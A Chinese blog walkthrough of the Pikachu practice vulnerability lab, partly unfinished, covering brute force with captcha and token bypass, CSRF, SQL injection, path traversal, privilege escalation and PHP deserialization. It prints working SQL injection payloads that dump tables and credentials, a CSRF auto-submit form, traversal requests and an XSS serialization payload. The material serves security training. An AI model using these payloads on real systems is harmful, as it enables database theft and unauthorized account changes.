pikachu靶场部分通关手册(持续更新中)

admin 2021年9月29日22:12:38pikachu靶场部分通关手册(持续更新中)已关闭评论715 views字数 6357阅读21分11秒阅读模式

最近发现,之前学的各种东西已经比较生疏了,所以重新来通关一个靶场来回忆一下

暴力破解

基于表单的暴力破解

R9Vp11.png

看到这个,再看到题目名字,直接使用burp中的爆破功能,我们抓取他登陆的包

然后导入我们的字典,开始爆破,成功得出账号密码分别是admin和123456

R9ZAK0.png

验证码绕过(on server)

1.保持bp的抓包状态,随便输入账号和密码,先不输入验证码。

2.打开bp,右击选择send to repeater,把请求发送到 repeater

3.打开Repeater,点击GO,观察状态。

4.这时,右侧会显示验证码不能为空,因为此前没有输入验证码

5.如果随便输入一个验证码,此时显示验证码错误!

6.然后把pikachu平台中的正确的验证码输入进去,则显示账号或密码错误!说明了后台会把提交的验证码进行验证,看是否正确,接下来进行暴力破解!

7.然后把pikachu平台中的正确的验证码输入进去,则显示账号或密码错误!说明了后台会把提交的验证码进行验证,看是否正确,接下来进行暴力破解!步骤和基于表单的暴力破解是一样。将Proxy中抓到的,右击发送到Intruder,然后添加账户和密码变量,放入字典。

(我这里因为知道了他账号密码,所以就直接不上字典了)

R9ekJH.png

验证码绕过(on click)

验证码输入正确、为空、输入错误分别提示login success,请输入验证码,验证码输入错误。

什么都不输入或只输入用户名和密码点击登录,页面弹出“请输入验证码!”的提示框,而不是用户名和密码不存在

我们查看源码,输入的验证码在本地验证,我们可以在burp suite不输入验证码或者输入错的验证码完成爆破

burp suite抓包,删除验证码,发送到intruder模块

R9eopd.png

token防爆破?

R9min0.png

抓包,发现有一个token

点击右键发送至intruder。

点击intruder模块中positions选择攻击类型为Pitchfork,设置password与token为变量。

选择options,Grep-Extract 打勾点击add。

点击refetch response 找到响应包中的token的值选择点击确定。然后在

Redirections中选择always。

点击payloads set 1 type类型选择runtime file加载密码字典,set 2 type选择

recursive grep 复制刚才的token值粘贴至first request:

R9nOJg.png

点击start attack进行破解。

注意,这里需要把线程数设置为1,否则爆破不了

R9ntaT.png

CSRF

CSRF(get)

首先点击右边的提示,使用他提供的账号登陆

然后开启代理,burp抓包,抓取提交修改信息的包

把报文中GET请求的东西复制下来,输入url+复制的东西

如果被攻击者此时登录状态或cookie/session没有过期,则她的信息被修改,步骤如下图

R9llDA.png

CSRF(post)

选择一个账号登陆,开启burp抓包,照样抓取修改信息提交的包

我们可以看到POST方式传入的参数有sex phonenum add email submit

这时候我们需要自己写一个php表单来构造这个post请求

这里直接贴上代码

之后访问我们构造的表单的界面,按下回车即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form action="http://pikachu.com/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="1"><br>
<input type="hidden" name="phonenum" value="2"><br>
<input type="hidden" name="add" value="3">
<input type="hidden" name="email" value="4">
<input type="postsubmit" name="submit" value="submit">
</form>

</body>
</html>

RPwOsI.png

SQL-Inject

数字型注入(post)

首先我们是在网页上提交了一个id返回到了后端,后端返回了一个名称和邮箱,正常情况下,所有用户的数据应该是存放在数据库里面的,所以当我们输入了一个1发送到后端,后端应该会在数据库中做一个查询,所以后端代码的逻辑我们可以猜测为

1
2
$id=$_POST['id']
select 字段1,字段2 from 表名 where id=1 or 1=1

RiOdW8.png

字符型注入(get)

Payload:

1
2
3
4
1' union select 1,2 #   判断列数
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # //查当前数据库下的数据表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" # //查当前数据表下的列名
1' union select username,password from pikachu.users # //爆数据

搜索型注入

Payload:

1
2
3
4
' order by 3  # //爆回显位
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # //爆数据表名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=users # //爆字段名
' union select 1,username,password from users # //爆字段值

xx型注入

开始做直接用单引号闭合后报错,我也是一脸懵逼,点开了提示,他说管tmd的什么型,能够制造出闭合,就是本事,所以我们尝试一下,加一个单引号后报错,两个不报错,加双引号也不报错,后面发现要用括号闭合,直接上payload

1
2
3
4
5
1') order by 3 # //爆字段数,三个报错,证明两个字段
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # //爆当前数据库下的数据表名
1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # //爆当前数据表下的字段名
1') union select username,password from users # //爆当前数据表下的字段值

insert/update注入

猜测后台的mysql语句应该是

1
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

那我们可以在xxx的位置构造我们的注入语句

1
xxx' or updatexml(1,concat(0x7e,database()),0) or '

后台的mysql语句被我们拼凑成了

1
insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)

接下来是update注入,我们正常注册一个账号以后登陆,修改信息时推测后台语句如下

1
update tables set sex = '$sex' where name = 'sbb';

这样我们可以在$sex处构造语句

1
xxx' or updatexml(1,concat(0x7e,database()),0) or '

构造出来的语句

1
2
3
update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '

' where name = 'sbb';

之后就可以爆破我们的数据库了

RCE

File Inclusion

File Inclusion(local)本地文件包含

File Inclusion(remote)远程文件包含

Unsafe Fileupload

Unsafe Fileudownload

点击名字可以下载图片,我们使用Burpsuite进行抓包

image-20210717192007572

1
2
3
4
5
6
7
8
9
10
GET /vul/unsafedownload/execdownload.php?filename=ai.png HTTP/1.1
Host: pikachu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://pikachu.com/vul/unsafedownload/down_nba.php
Cookie: PHPSESSID=lcjhut4vp8ns947fm1s6vij2g1
Upgrade-Insecure-Requests: 1

我们这里可以发现,他filename=ai.png 这是要下载的文件,我们这里为了验证他,在网站根目录创建一个1.txt 内容为filedownfile

把get传入的参数filename=ai.png换成filename=../../../1.txt(这里具体可以看文件目录遍历那里)

然后点击repeat 发包

image-20210717192225660

Over Permisson

水平越权

水平越权是相同权限下的越权,比如A和B同一个权限, 通过A来完成B的操作

image-20210717183617088

随便选个账号登陆进去,选择查看信息按钮

image-20210717183805210

可以发现这里url里有个参数和我们的用户名一样

1
http://pikachu.com/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

我们猜测这里是不是根据这里传入的username来获取我们的信息的,我们把这里的username替换成他提供的其他账号试试

image-20210717183933818

成功完成水平越权

垂直越权

垂直越权是从低权限用户来对高权限用户操作的过程

image-20210717184213742

这里有两个账号,pikachu是低权限,admin是高权限,我们分别登陆进去

发现pikachu只有查看权限,admin有添加用户权限

我们先来看看http://pikachu.com/vul/overpermission/op2/op2_user.php 这个代码

image-20210717184934562

image-20210717185403306

image-20210717185456759

op2_admin_edit.php中只对登录情况计行了判断,而没有对用户的权限进行判断,所以普通用户也可以进入该网站添加新用户实现垂直越权

而op2_admin.php对session中的level进行判断,如果没有登录或者登陆的用户的level不是1,就全部退出,所以只要登陆的用户的level不是1就会自动退出登陆

造成这种越权的原因是高权限的操作界面没有验证当前登陆用户的级别,从而导致了越权的发生

我们这里开两个浏览器,一个浏览器先登录普通的用户pikachu,另外一个浏览器登陆管理员用户admin

image-20210717185911533

image-20210717185949571

image-20210717190021678

目录遍历

image-20210717190408860

我们先随便点击一个,发现他的url如下

1
http://pikachu.com/vul/dir/dir_list.php?title=jarheads.php

猜测他这里的title可控,我们可以通过修改这里的title参数来修改他读取的文件,为了测试,我们在网站根目录下建一个1.txt

内容是验证目录遍历,通过他的url可知,我们在根目录下建立的1.txt应该位于当前目录上面三级,也就是../../../

文件名是1.txt,所以我们应该传入title=../../../1.txt

image-20210717190802919

image-20210717191023579

敏感信息泄露

PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}
?>

靶场的主要代码如图所示

先是class一个对象,初始化了一个test属性,还有一个_construct魔法函数,这个函数在对象被创建时使用

然后post方法传入一个o参数赋给变量S

如果unser变量不等于反序列化以后的S变量的值,$html就要输出“大兄弟,来点劲爆点儿的!”

我们这里可以让他输出一个弹窗 比如

1
<script>alert('xss')</script>

所以这里就要想办法跳过if为真时的情况,就是unser=unserialize($s)

所以我们这里要自己写一个poc,来生成序列化后的内容

poc: 这里如果直接echo serialize($a); 的话,他直接执行里面的弹窗的script代码

所以我使用了一个textarea标签,把他里面的Payload直接输出到这个textarea标签里,方便观看

1
2
3
4
5
6
7
8
<?php
class S{
var $test = "<textarea><script>alert('xss')</script></textarea>";
}
echo '<br>';
$a=new S();
echo serialize($a);
?>

image-20210717195358862

所以最后的Payload:

1
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
1
2
3
4
5
6
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用

XXE

URL重定向

SSRF

相关推荐: 2021TCTF总决赛进入倒计时,极客之巅谁将问鼎?

9月26日,第五届腾讯信息安全争霸赛(TCTF)总决赛进入第二个比赛日,经过30多个小时的激烈角逐,来自俄罗斯的More Smoked Leet Chicken战队和浙江大学AAA战队暂时分列国际赛和新星邀请赛积分榜第一。 冲刺进行时 紧追不舍,战况焦灼 第二…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日22:12:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pikachu靶场部分通关手册(持续更新中)http://cn-sec.com/archives/560367.html